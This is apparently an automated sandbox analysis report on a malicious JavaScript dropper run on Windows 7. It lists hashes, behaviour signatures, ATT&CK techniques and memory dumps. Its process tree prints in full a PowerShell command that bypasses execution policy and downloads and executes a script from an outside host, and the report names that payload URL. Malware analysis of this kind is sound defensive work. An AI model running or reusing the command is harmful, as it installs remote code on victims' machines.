318ee202d748a8bfde16a3b28431faf45c8f8fab3203add17ce4f8f02e16e9ff

Analysis

max time kernel
118s
max time network
121s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
23-01-2024 05:27

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General

Target

in_67226722367226722.js
Size

39KB
MD5

2cabe93683e4535d83dcf52a65ebc346
SHA1

f4e7e84f88ed5ebe3d0e194d2575e02fec8f6a64
SHA256

9091a92935f469f8420312270a3b12ff519ed0f840e42324f2ecdb0a660b2f1d
SHA512

bbfc3dcd0c1483569738a21dbb2162f7be90f18b6edd3a894296450477d618b10f56e11c4a08d8b70aade93b31f066403793b399044a038fd2d0bf8440d48626
SSDEEP

768:lH7QeMV8mjOil1SoVjVjdbeBywz0J8choA37jygvBw3OvKClNhM1tbji3nsGxQmo:R7QeI/0+xwsB0b8rC

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://xerixwebstudio.com/documents.txt

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	2796	powershell.exe
6	2796	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2796	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2796	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2300 wrote to memory of 2796	2300	wscript.exe	28
PID 2300 wrote to memory of 2796	2300	wscript.exe	28
PID 2300 wrote to memory of 2796	2300	wscript.exe	28

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\in_67226722367226722.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2300
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -NoProfile -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-Expression (New-Object Net.WebClient).DownloadString('https://xerixwebstudio.com/documents.txt')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2796

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2796-4-0x000000001B480000-0x000000001B762000-memory.dmp

Filesize
2.9MB

Download
memory/2796-5-0x0000000001ED0000-0x0000000001ED8000-memory.dmp

Filesize
32KB

Download
memory/2796-6-0x000007FEF58A0000-0x000007FEF623D000-memory.dmp

Filesize
9.6MB

Download
memory/2796-8-0x00000000026E0000-0x0000000002760000-memory.dmp

Filesize
512KB

Download
memory/2796-7-0x00000000026E0000-0x0000000002760000-memory.dmp

Filesize
512KB

Download
memory/2796-10-0x00000000026E0000-0x0000000002760000-memory.dmp

Filesize
512KB

Download
memory/2796-9-0x000007FEF58A0000-0x000007FEF623D000-memory.dmp

Filesize
9.6MB

Download
memory/2796-11-0x00000000026E0000-0x0000000002760000-memory.dmp

Filesize
512KB

Download
memory/2796-12-0x00000000026E0000-0x0000000002760000-memory.dmp

Filesize
512KB

Download
memory/2796-13-0x000007FEF58A0000-0x000007FEF623D000-memory.dmp

Filesize
9.6MB

Download